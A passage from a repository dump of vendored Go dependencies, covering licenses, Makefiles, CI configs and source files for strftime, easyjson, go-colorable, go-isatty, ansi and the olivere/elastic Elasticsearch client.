formatted midnight as `00`, where it should have been using `01` 10 | 11 | 12 | before v1.0.4 13 | 14 | Apparently we have failed to provide Changes prior to v1.0.5 :( 15 | -------------------------------------------------------------------------------- /vendor/github.com/lestrrat-go/strftime/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 lestrrat 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /vendor/github.com/lestrrat-go/strftime/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: bench realclean cover viewcover test lint 2 | 3 | bench: 4 | go test -tags bench -benchmem -bench . 5 | @git checkout go.mod 6 | @rm go.sum 7 | 8 | realclean: 9 | rm coverage.out 10 | 11 | test: 12 | go test -v -race ./... 13 | 14 | cover: 15 | go test -v -race -coverpkg=./... -coverprofile=coverage.out ./... 16 | 17 | viewcover: 18 | go tool cover -html=coverage.out 19 | 20 | lint: 21 | golangci-lint run ./... 22 | 23 | imports: 24 | goimports -w ./ 25 | 26 | -------------------------------------------------------------------------------- /vendor/github.com/mailru/easyjson/.gitignore: -------------------------------------------------------------------------------- 1 | .root 2 | *_easyjson.go 3 | *.iml 4 | .idea 5 | *.swp 6 | bin/* 7 | -------------------------------------------------------------------------------- /vendor/github.com/mailru/easyjson/.travis.yml: -------------------------------------------------------------------------------- 1 | arch: 2 | - amd64 3 | - ppc64le 4 | language: go 5 | 6 | go: 7 | - tip 8 | - stable 9 | 10 | matrix: 11 | allow_failures: 12 | - go: tip 13 | 14 | install: 15 | - go get golang.org/x/lint/golint 16 | -------------------------------------------------------------------------------- /vendor/github.com/mailru/easyjson/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2016 Mail.Ru Group 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 8 | -------------------------------------------------------------------------------- /vendor/github.com/mailru/easyjson/jlexer/bytestostr.go: -------------------------------------------------------------------------------- 1 | // This file will only be included to the build if neither 2 | // easyjson_nounsafe nor appengine build tag is set. See README notes 3 | // for more details. 4 | 5 | //+build !easyjson_nounsafe 6 | //+build !appengine 7 | 8 | package jlexer 9 | 10 | import ( 11 | "reflect" 12 | "unsafe" 13 | ) 14 | 15 | // bytesToStr creates a string pointing at the slice to avoid copying. 16 | // 17 | // Warning: the string returned by the function should be used with care, as the whole input data 18 | // chunk may be either blocked from being freed by GC because of a single string or the buffer.Data 19 | // may be garbage-collected even when the string exists. 20 | func bytesToStr(data []byte) string { 21 | h := (*reflect.SliceHeader)(unsafe.Pointer(&data)) 22 | shdr := reflect.StringHeader{Data: h.Data, Len: h.Len} 23 | return *(*string)(unsafe.Pointer(&shdr)) 24 | } 25 | -------------------------------------------------------------------------------- /vendor/github.com/mailru/easyjson/jlexer/bytestostr_nounsafe.go: -------------------------------------------------------------------------------- 1 | // This file is included to the build if any of the buildtags below 2 | // are defined. Refer to README notes for more details. 3 | 4 | //+build easyjson_nounsafe appengine 5 | 6 | package jlexer 7 | 8 | // bytesToStr creates a string normally from []byte 9 | // 10 | // Note that this method is roughly 1.5x slower than using the 'unsafe' method. 11 | func bytesToStr(data []byte) string { 12 | return string(data) 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/mailru/easyjson/jlexer/error.go: -------------------------------------------------------------------------------- 1 | package jlexer 2 | 3 | import "fmt" 4 | 5 | // LexerError implements the error interface and represents all possible errors that can be 6 | // generated during parsing the JSON data. 7 | type LexerError struct { 8 | Reason string 9 | Offset int 10 | Data string 11 | } 12 | 13 | func (l *LexerError) Error() string { 14 | return fmt.Sprintf("parse error: %s near offset %d of '%s'", l.Reason, l.Offset, l.Data) 15 | } 16 | -------------------------------------------------------------------------------- /vendor/github.com/mailru/easyjson/unknown_fields.go: -------------------------------------------------------------------------------- 1 | package easyjson 2 | 3 | import ( 4 | jlexer "github.com/mailru/easyjson/jlexer" 5 | "github.com/mailru/easyjson/jwriter" 6 | ) 7 | 8 | // UnknownFieldsProxy implemets UnknownsUnmarshaler and UnknownsMarshaler 9 | // use it as embedded field in your structure to parse and then serialize unknown struct fields 10 | type UnknownFieldsProxy struct { 11 | unknownFields map[string][]byte 12 | } 13 | 14 | func (s *UnknownFieldsProxy) UnmarshalUnknown(in *jlexer.Lexer, key string) { 15 | if s.unknownFields == nil { 16 | s.unknownFields = make(map[string][]byte, 1) 17 | } 18 | s.unknownFields[key] = in.Raw() 19 | } 20 | 21 | func (s UnknownFieldsProxy) MarshalUnknowns(out *jwriter.Writer, first bool) { 22 | for key, val := range s.unknownFields { 23 | if first { 24 | first = false 25 | } else { 26 | out.RawByte(',') 27 | } 28 | out.String(string(key)) 29 | out.RawByte(':') 30 | out.Raw(val, nil) 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-colorable/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | go: 3 | - tip 4 | 5 | before_install: 6 | - go get github.com/mattn/goveralls 7 | - go get golang.org/x/tools/cmd/cover 8 | script: 9 | - $HOME/gopath/bin/goveralls -repotoken xnXqRGwgW3SXIguzxf90ZSK1GPYZPaGrw 10 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-colorable/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Yasuhiro Matsumoto 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-colorable/colorable_appengine.go: -------------------------------------------------------------------------------- 1 | // +build appengine 2 | 3 | package colorable 4 | 5 | import ( 6 | "io" 7 | "os" 8 | 9 | _ "github.com/mattn/go-isatty" 10 | ) 11 | 12 | // NewColorable returns new instance of Writer which handles escape sequence. 13 | func NewColorable(file *os.File) io.Writer { 14 | if file == nil { 15 | panic("nil passed instead of *os.File to NewColorable()") 16 | } 17 | 18 | return file 19 | } 20 | 21 | // NewColorableStdout returns new instance of Writer which handles escape sequence for stdout. 22 | func NewColorableStdout() io.Writer { 23 | return os.Stdout 24 | } 25 | 26 | // NewColorableStderr returns new instance of Writer which handles escape sequence for stderr. 27 | func NewColorableStderr() io.Writer { 28 | return os.Stderr 29 | } 30 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-colorable/colorable_others.go: -------------------------------------------------------------------------------- 1 | // +build !windows 2 | // +build !appengine 3 | 4 | package colorable 5 | 6 | import ( 7 | "io" 8 | "os" 9 | 10 | _ "github.com/mattn/go-isatty" 11 | ) 12 | 13 | // NewColorable returns new instance of Writer which handles escape sequence. 14 | func NewColorable(file *os.File) io.Writer { 15 | if file == nil { 16 | panic("nil passed instead of *os.File to NewColorable()") 17 | } 18 | 19 | return file 20 | } 21 | 22 | // NewColorableStdout returns new instance of Writer which handles escape sequence for stdout. 23 | func NewColorableStdout() io.Writer { 24 | return os.Stdout 25 | } 26 | 27 | // NewColorableStderr returns new instance of Writer which handles escape sequence for stderr. 28 | func NewColorableStderr() io.Writer { 29 | return os.Stderr 30 | } 31 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-colorable/noncolorable.go: -------------------------------------------------------------------------------- 1 | package colorable 2 | 3 | import ( 4 | "bytes" 5 | "io" 6 | ) 7 | 8 | // NonColorable holds writer but removes escape sequence. 9 | type NonColorable struct { 10 | out io.Writer 11 | } 12 | 13 | // NewNonColorable returns new instance of Writer which removes escape sequence from Writer. 14 | func NewNonColorable(w io.Writer) io.Writer { 15 | return &NonColorable{out: w} 16 | } 17 | 18 | // Write writes data on console 19 | func (w *NonColorable) Write(data []byte) (n int, err error) { 20 | er := bytes.NewReader(data) 21 | var bw [1]byte 22 | loop: 23 | for { 24 | c1, err := er.ReadByte() 25 | if err != nil { 26 | break loop 27 | } 28 | if c1 != 0x1b { 29 | bw[0] = c1 30 | w.out.Write(bw[:]) 31 | continue 32 | } 33 | c2, err := er.ReadByte() 34 | if err != nil { 35 | break loop 36 | } 37 | if c2 != 0x5b { 38 | continue 39 | } 40 | 41 | var buf bytes.Buffer 42 | for { 43 | c, err := er.ReadByte() 44 | if err != nil { 45 | break loop 46 | } 47 | if ('a' <= c && c <= 'z') || ('A' <= c && c <= 'Z') || c == '@' { 48 | break 49 | } 50 | buf.Write([]byte(string(c))) 51 | } 52 | } 53 | 54 | return len(data), nil 55 | } 56 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-isatty/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | go: 3 | - tip 4 | 5 | os: 6 | - linux 7 | - osx 8 | 9 | before_install: 10 | - go get github.com/mattn/goveralls 11 | - go get golang.org/x/tools/cmd/cover 12 | script: 13 | - $HOME/gopath/bin/goveralls -repotoken 3gHdORO5k5ziZcWMBxnd9LrMZaJs8m9x5 14 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-isatty/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) Yasuhiro MATSUMOTO 2 | 3 | MIT License (Expat) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 6 | 7 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 10 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-isatty/doc.go: -------------------------------------------------------------------------------- 1 | // Package isatty implements interface to isatty 2 | package isatty 3 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-isatty/isatty_android.go: -------------------------------------------------------------------------------- 1 | // +build android 2 | 3 | package isatty 4 | 5 | import ( 6 | "syscall" 7 | "unsafe" 8 | ) 9 | 10 | const ioctlReadTermios = syscall.TCGETS 11 | 12 | // IsTerminal return true if the file descriptor is terminal. 13 | func IsTerminal(fd uintptr) bool { 14 | var termios syscall.Termios 15 | _, _, err := syscall.Syscall6(syscall.SYS_IOCTL, fd, ioctlReadTermios, uintptr(unsafe.Pointer(&termios)), 0, 0, 0) 16 | return err == 0 17 | } 18 | 19 | // IsCygwinTerminal return true if the file descriptor is a cygwin or msys2 20 | // terminal. This is also always false on this environment. 21 | func IsCygwinTerminal(fd uintptr) bool { 22 | return false 23 | } 24 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-isatty/isatty_bsd.go: -------------------------------------------------------------------------------- 1 | // +build darwin freebsd openbsd netbsd dragonfly 2 | // +build !appengine 3 | 4 | package isatty 5 | 6 | import ( 7 | "syscall" 8 | "unsafe" 9 | ) 10 | 11 | const ioctlReadTermios = syscall.TIOCGETA 12 | 13 | // IsTerminal return true if the file descriptor is terminal. 14 | func IsTerminal(fd uintptr) bool { 15 | var termios syscall.Termios 16 | _, _, err := syscall.Syscall6(syscall.SYS_IOCTL, fd, ioctlReadTermios, uintptr(unsafe.Pointer(&termios)), 0, 0, 0) 17 | return err == 0 18 | } 19 | 20 | // IsCygwinTerminal return true if the file descriptor is a cygwin or msys2 21 | // terminal. This is also always false on this environment. 22 | func IsCygwinTerminal(fd uintptr) bool { 23 | return false 24 | } 25 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-isatty/isatty_others.go: -------------------------------------------------------------------------------- 1 | // +build appengine js nacl 2 | 3 | package isatty 4 | 5 | // IsTerminal returns true if the file descriptor is terminal which 6 | // is always false on js and appengine classic which is a sandboxed PaaS. 7 | func IsTerminal(fd uintptr) bool { 8 | return false 9 | } 10 | 11 | // IsCygwinTerminal() return true if the file descriptor is a cygwin or msys2 12 | // terminal. This is also always false on this environment. 13 | func IsCygwinTerminal(fd uintptr) bool { 14 | return false 15 | } 16 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-isatty/isatty_plan9.go: -------------------------------------------------------------------------------- 1 | // +build plan9 2 | 3 | package isatty 4 | 5 | import ( 6 | "syscall" 7 | ) 8 | 9 | // IsTerminal returns true if the given file descriptor is a terminal. 10 | func IsTerminal(fd uintptr) bool { 11 | path, err := syscall.Fd2path(fd) 12 | if err != nil { 13 | return false 14 | } 15 | return path == "/dev/cons" || path == "/mnt/term/dev/cons" 16 | } 17 | 18 | // IsCygwinTerminal return true if the file descriptor is a cygwin or msys2 19 | // terminal. This is also always false on this environment. 20 | func IsCygwinTerminal(fd uintptr) bool { 21 | return false 22 | } 23 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-isatty/isatty_solaris.go: -------------------------------------------------------------------------------- 1 | // +build solaris 2 | // +build !appengine 3 | 4 | package isatty 5 | 6 | import ( 7 | "golang.org/x/sys/unix" 8 | ) 9 | 10 | // IsTerminal returns true if the given file descriptor is a terminal. 11 | // see: http://src.illumos.org/source/xref/illumos-gate/usr/src/lib/libbc/libc/gen/common/isatty.c 12 | func IsTerminal(fd uintptr) bool { 13 | var termio unix.Termio 14 | err := unix.IoctlSetTermio(int(fd), unix.TCGETA, &termio) 15 | return err == nil 16 | } 17 | 18 | // IsCygwinTerminal return true if the file descriptor is a cygwin or msys2 19 | // terminal. This is also always false on this environment. 20 | func IsCygwinTerminal(fd uintptr) bool { 21 | return false 22 | } 23 | -------------------------------------------------------------------------------- /vendor/github.com/mattn/go-isatty/isatty_tcgets.go: -------------------------------------------------------------------------------- 1 | // +build linux aix 2 | // +build !appengine 3 | // +build !android 4 | 5 | package isatty 6 | 7 | import "golang.org/x/sys/unix" 8 | 9 | // IsTerminal return true if the file descriptor is terminal. 10 | func IsTerminal(fd uintptr) bool { 11 | _, err := unix.IoctlGetTermios(int(fd), unix.TCGETS) 12 | return err == nil 13 | } 14 | 15 | // IsCygwinTerminal return true if the file descriptor is a cygwin or msys2 16 | // terminal. This is also always false on this environment. 17 | func IsCygwinTerminal(fd uintptr) bool { 18 | return false 19 | } 20 | -------------------------------------------------------------------------------- /vendor/github.com/mgutz/ansi/.gitignore: -------------------------------------------------------------------------------- 1 | *.test 2 | -------------------------------------------------------------------------------- /vendor/github.com/mgutz/ansi/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | Copyright (c) 2013 Mario L. Gutierrez 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 5 | 6 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 7 | 8 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 9 | 10 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Object files, Static and Dynamic libs (Shared Objects) 2 | *.o 3 | *.a 4 | *.so 5 | 6 | # Folders 7 | _obj 8 | _test 9 | 10 | # Architecture specific extensions/prefixes 11 | *.[568vq] 12 | [568vq].out 13 | 14 | *.cgo1.go 15 | *.cgo2.c 16 | _cgo_defun.c 17 | _cgo_gotypes.go 18 | _cgo_export.* 19 | 20 | _testmain.go 21 | 22 | *.exe 23 | 24 | .envrc 25 | 26 | /.vscode/ 27 | /.idea/ 28 | /debug.test 29 | /generator 30 | /cluster-test/cluster-test 31 | /cluster-test/*.log 32 | /cluster-test/es-chaos-monkey 33 | /dist 34 | /go.mod 35 | /go.sum 36 | /spec 37 | /tmp 38 | /CHANGELOG-3.0.html 39 | 40 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/.travis.yml.off: -------------------------------------------------------------------------------- 1 | sudo: required 2 | language: go 3 | matrix: 4 | include: 5 | - go: "1.13.x" 6 | env: 7 | - GO111MODULE=on 8 | - go: "1.13.x" 9 | env: 10 | - GO111MODULE=off 11 | - go: "1.14.x" 12 | env: 13 | - GO111MODULE=on 14 | - go: "1.14.x" 15 | env: 16 | - GO111MODULE=off 17 | - go: tip 18 | env: 19 | - GO111MODULE=off 20 | allow_failures: 21 | - go: tip 22 | addons: 23 | apt: 24 | update: true 25 | packages: 26 | - docker-ce 27 | services: 28 | - docker 29 | before_install: 30 | - if [[ "$TRAVIS_OS_NAME" == "linux" && ! $(which nc) ]] ; then sudo apt-get install -y netcat ; fi 31 | - sudo sysctl -w vm.max_map_count=262144 32 | - docker-compose pull 33 | - docker-compose up -d 34 | - go get -u github.com/google/go-cmp/cmp 35 | - go get -u github.com/fortytw2/leaktest 36 | - go get . ./aws/... ./config/... ./trace/... ./uritemplates/... 37 | - while ! nc -z localhost 9200; do sleep 1; done 38 | - while ! nc -z localhost 9210; do sleep 1; done 39 | install: true # ignore the go get -t -v ./... 40 | script: 41 | - go test -race -deprecations -strict-decoder -v . ./aws/... ./config/... ./trace/... ./uritemplates/... 42 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/CHANGELOG-6.0.md: -------------------------------------------------------------------------------- 1 | # Changes from 5.0 to 6.0 2 | 3 | See [breaking changes](https://www.elastic.co/guide/en/elasticsearch/reference/master/breaking-changes-6.0.html). 4 | 5 | ## _all removed 6 | 7 | 6.0 has removed support for the `_all` field. 8 | 9 | ## Boolean values coerced 10 | 11 | Only use `true` or `false` for boolean values, not `0` or `1` or `on` or `off`. 12 | 13 | ## Single Type Indices 14 | 15 | Notice that 6.0 and future versions will default to single type indices, i.e. you may not use multiple types when e.g. adding an index with a mapping. 16 | 17 | See [here for details](https://www.elastic.co/guide/en/elasticsearch/reference/6.8/removal-of-types.html#_what_are_mapping_types). 18 | 19 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | Please use the following questions as a guideline to help me answer 2 | your issue/question without further inquiry. Thank you. 3 | 4 | ### Which version of Elastic are you using? 5 | 6 | [ ] elastic.v6 (for Elasticsearch 6.x) 7 | [ ] elastic.v5 (for Elasticsearch 5.x) 8 | [ ] elastic.v3 (for Elasticsearch 2.x) 9 | [ ] elastic.v2 (for Elasticsearch 1.x) 10 | 11 | ### Please describe the expected behavior 12 | 13 | 14 | ### Please describe the actual behavior 15 | 16 | 17 | ### Any steps to reproduce the behavior? 18 | 19 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | Copyright © 2012-2015 Oliver Eilhard 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the “Software”), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included 12 | in all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 19 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS 20 | IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: test 2 | test: 3 | go test -race -deprecations -strict-decoder -v . ./aws/... ./config/... ./trace/... ./uritemplates/... 4 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/acknowledged_response.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // AcknowledgedResponse is returned from various APIs. It simply indicates 8 | // whether the operation is ack'd or not. 9 | type AcknowledgedResponse struct { 10 | Acknowledged bool `json:"acknowledged"` 11 | ShardsAcknowledged bool `json:"shards_acknowledged"` 12 | Index string `json:"index,omitempty"` 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/bulk_request.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | import ( 8 | "fmt" 9 | ) 10 | 11 | // -- Bulkable request (index/update/delete) -- 12 | 13 | // BulkableRequest is a generic interface to bulkable requests. 14 | type BulkableRequest interface { 15 | fmt.Stringer 16 | Source() ([]string, error) 17 | } 18 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/config/doc.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | /* 6 | Package config allows parsing a configuration for Elasticsearch 7 | from a URL. 8 | */ 9 | package config 10 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/docvalue_field.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // DocvalueField represents a docvalue field, its name and 8 | // its format (optional). 9 | type DocvalueField struct { 10 | Field string 11 | Format string 12 | } 13 | 14 | // Source serializes the DocvalueField into JSON. 15 | func (d DocvalueField) Source() (interface{}, error) { 16 | if d.Format == "" { 17 | return d.Field, nil 18 | } 19 | return map[string]interface{}{ 20 | "field": d.Field, 21 | "format": d.Format, 22 | }, nil 23 | } 24 | 25 | // DocvalueFields is a slice of DocvalueField instances. 26 | type DocvalueFields []DocvalueField 27 | 28 | // Source serializes the DocvalueFields into JSON. 29 | func (d DocvalueFields) Source() (interface{}, error) { 30 | if d == nil { 31 | return nil, nil 32 | } 33 | v := make([]interface{}, 0) 34 | for _, f := range d { 35 | src, err := f.Source() 36 | if err != nil { 37 | return nil, err 38 | } 39 | v = append(v, src) 40 | } 41 | return v, nil 42 | } 43 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/logger.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // Logger specifies the interface for all log operations. 8 | type Logger interface { 9 | Printf(format string, v ...interface{}) 10 | } 11 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/plugins.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | import "context" 8 | 9 | // HasPlugin indicates whether the cluster has the named plugin. 10 | func (c *Client) HasPlugin(name string) (bool, error) { 11 | plugins, err := c.Plugins() 12 | if err != nil { 13 | return false, nil 14 | } 15 | for _, plugin := range plugins { 16 | if plugin == name { 17 | return true, nil 18 | } 19 | } 20 | return false, nil 21 | } 22 | 23 | // Plugins returns the list of all registered plugins. 24 | func (c *Client) Plugins() ([]string, error) { 25 | stats, err := c.ClusterStats().Do(context.Background()) 26 | if err != nil { 27 | return nil, err 28 | } 29 | if stats == nil { 30 | return nil, err 31 | } 32 | if stats.Nodes == nil { 33 | return nil, err 34 | } 35 | var plugins []string 36 | for _, plugin := range stats.Nodes.Plugins { 37 | plugins = append(plugins, plugin.Name) 38 | } 39 | return plugins, nil 40 | } 41 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/query.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | // Query represents the generic query interface. A query's sole purpose 8 | // is to return the source of the query as a JSON-serializable object. 9 | // Returning map[string]interface{} is the norm for queries. 10 | type Query interface { 11 | // Source returns the JSON-serializable query request. 12 | Source() (interface{}, error) 13 | } 14 | -------------------------------------------------------------------------------- /vendor/github.com/olivere/elastic/rescore.go: -------------------------------------------------------------------------------- 1 | // Copyright 2012-present Oliver Eilhard. All rights reserved. 2 | // Use of this source code is governed by a MIT-license. 3 | // See http://olivere.mit-license.org/license.txt for details. 4 | 5 | package elastic 6 | 7 | type Rescore struct { 8 | rescorer Rescorer 9 | windowSize *int 10 | defaultRescoreWindowSize *int 11 | } 12 | 13 | func NewRescore() *Rescore { 14 | return &Rescore{} 15 | } 16 | 17 | func (r *Rescore) WindowSize(windowSize int) *Rescore { 18 | r.windowSize = &windowSize 19 | return r 20 | } 21 | 22 | func (r *Rescore) IsEmpty() bool { 23 | return r.rescorer == nil 24 | } 25 | 26 | func (r *Rescore) Rescorer(rescorer Rescorer) *Rescore { 27 | r.rescorer = rescorer 28 | return r 29 | } 30 | 31 | func (r *Rescore) Source() (interface{}, error) { 32 | source := make(map[string]interface{}) 33 | if r.windowSize != nil { 34 | source["window_size"] = *r.windowSize 35 | } else if r.defaultRescoreWindowSize != nil { 36 | source["window_size"] = *r.defaultRescoreWindowSize 37 | } 38 | rescorerSrc, err := r.rescorer.Source() 39 | if err != nil { 40 | return nil, err 41 | } 42 | source[r.rescorer.Name()] = rescorerSrc 43 | return source, nil 44 | } 45 | -------------------------------------------------------------------------------- 